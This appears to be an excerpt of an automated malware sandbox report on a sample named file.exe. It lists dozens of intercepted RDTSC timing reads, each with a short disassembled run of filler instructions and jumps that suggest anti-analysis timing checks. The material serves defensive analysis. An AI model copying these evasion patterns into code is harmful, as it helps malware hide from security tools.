Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663E10 second address: 663E1A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F889508B646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663E1A second address: 663E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8894B81520h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663E30 second address: 663E46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B650h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663E46 second address: 663E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8894B81516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663FBD second address: 663FC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663FC3 second address: 663FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664184 second address: 664188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66430D second address: 664315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664315 second address: 66435C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F889508B65Ah 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F889508B652h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F889508B64Bh 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F889508B650h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66435C second address: 664360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664360 second address: 66437D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F889508B657h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66476B second address: 6647A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F8894B8151Dh 0x0000000a push edi 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007F8894B81516h 0x00000016 jmp 00007F8894B81528h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66490A second address: 664914 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F889508B646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664914 second address: 664930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jnp 00007F8894B81516h 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ecx 0x00000010 pushad 0x00000011 jbe 00007F8894B81518h 0x00000017 push eax 0x00000018 pop eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670A96 second address: 670AA2 instructions: 0x00000000 rdtsc 0x00000002 je 00007F889508B64Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670BEF second address: 670BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670BF6 second address: 670C14 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F889508B64Ch 0x00000008 js 00007F889508B646h 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670C14 second address: 670C1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670C1C second address: 670C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670EEB second address: 670EF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671064 second address: 671073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F889508B646h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671073 second address: 67107E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671591 second address: 671595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671595 second address: 6715C4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F8894B81525h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007F8894B8151Dh 0x00000015 pushad 0x00000016 jmp 00007F8894B8151Fh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67173C second address: 671742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670605 second address: 67060A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67060A second address: 670656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007F889508B646h 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jmp 00007F889508B652h 0x00000012 ja 00007F889508B646h 0x00000018 pop ecx 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push esi 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 pop eax 0x00000021 jmp 00007F889508B659h 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678F92 second address: 678F96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67ACC8 second address: 67ACF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B64Fh 0x00000007 jmp 00007F889508B64Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jng 00007F889508B64Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67ACF1 second address: 67ACF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D1F1 second address: 67D205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F889508B650h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D205 second address: 67D20A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6883B7 second address: 6883C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F889508B646h 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687FCB second address: 687FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687FCF second address: 687FEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B64Ah 0x00000007 jnp 00007F889508B646h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F889508B646h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687FEB second address: 687FF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687FF1 second address: 688005 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F889508B64Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D281 second address: 68D2AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push edx 0x00000008 js 00007F8894B81516h 0x0000000e jmp 00007F8894B8151Dh 0x00000013 pop edx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pushad 0x00000019 popad 0x0000001a jnp 00007F8894B81516h 0x00000020 pop ebx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692E3C second address: 692E41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692E41 second address: 692E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692E47 second address: 692E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F889508B648h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692E5A second address: 692E7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8894B81523h 0x00000008 pushad 0x00000009 popad 0x0000000a jno 00007F8894B81516h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692E7A second address: 692E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1D6F second address: 6A1D8B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8894B81516h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F8894B8151Bh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1FC2 second address: 6A1FC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1FC6 second address: 6A1FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1FCC second address: 6A1FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F889508B651h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1FE5 second address: 6A1FE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A258E second address: 6A2598 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F889508B646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A270C second address: 6A2714 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2714 second address: 6A2719 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4D5E second address: 6A4D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8894B81520h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4B91 second address: 6A4BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F889508B64Dh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6412 second address: 6A6467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jmp 00007F8894B81528h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F8894B81524h 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d jne 00007F8894B81516h 0x00000023 popad 0x00000024 jmp 00007F8894B8151Fh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA194 second address: 6AA1DF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F889508B646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c jg 00007F889508B659h 0x00000012 jo 00007F889508B64Eh 0x00000018 jbe 00007F889508B646h 0x0000001e push eax 0x0000001f pop eax 0x00000020 jl 00007F889508B65Ch 0x00000026 jmp 00007F889508B650h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B97DD second address: 6B97EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8894B8151Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B97EF second address: 6B97F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B969B second address: 6B96AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 je 00007F8894B8151Ch 0x0000000d jnp 00007F8894B81516h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B96AE second address: 6B96B8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F889508B64Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C60A2 second address: 6C60BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8894B8151Eh 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C60BD second address: 6C60C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5CAC second address: 6C5CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC72D second address: 6DC74D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B654h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC74D second address: 6DC753 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC753 second address: 6DC77B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 ja 00007F889508B646h 0x0000000b jmp 00007F889508B655h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC77B second address: 6DC78C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8894B81516h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC78C second address: 6DC792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC792 second address: 6DC79D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC79D second address: 6DC7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC7A1 second address: 6DC7A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB893 second address: 6DB8AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F889508B652h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB8AB second address: 6DB8B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F8894B81516h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB8B7 second address: 6DB8F0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F889508B646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F889508B652h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007F889508B64Ch 0x00000019 jmp 00007F889508B64Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC1A1 second address: 6DC1A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC1A5 second address: 6DC1B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007F889508B646h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E079C second address: 6E07A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E07A2 second address: 6E07A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0AC4 second address: 6E0AD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F8894B81516h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0CDD second address: 6E0D00 instructions: 0x00000000 rdtsc 0x00000002 je 00007F889508B646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F889508B657h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0D00 second address: 6E0D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4326 second address: 6E434E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jns 00007F889508B646h 0x0000000c popad 0x0000000d jmp 00007F889508B656h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D402BA second address: 4D402FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81525h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F8894B81521h 0x00000010 xchg eax, ebp 0x00000011 jmp 00007F8894B8151Eh 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D402FD second address: 4D40301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40301 second address: 4D40305 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40305 second address: 4D4030B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4030B second address: 4D40311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40311 second address: 4D40315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB41B second address: 5FB41F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40437 second address: 4D40457 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 movzx esi, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F889508B650h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40457 second address: 4D4045B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4045B second address: 4D40461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40461 second address: 4D40467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40467 second address: 4D4049F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F889508B654h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F889508B657h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D404F5 second address: 4D4052F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B8151Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F8894B81519h 0x0000000e jmp 00007F8894B81526h 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ebx, eax 0x00000019 mov esi, 1C28BC3Fh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4052F second address: 4D40535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40535 second address: 4D40539 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
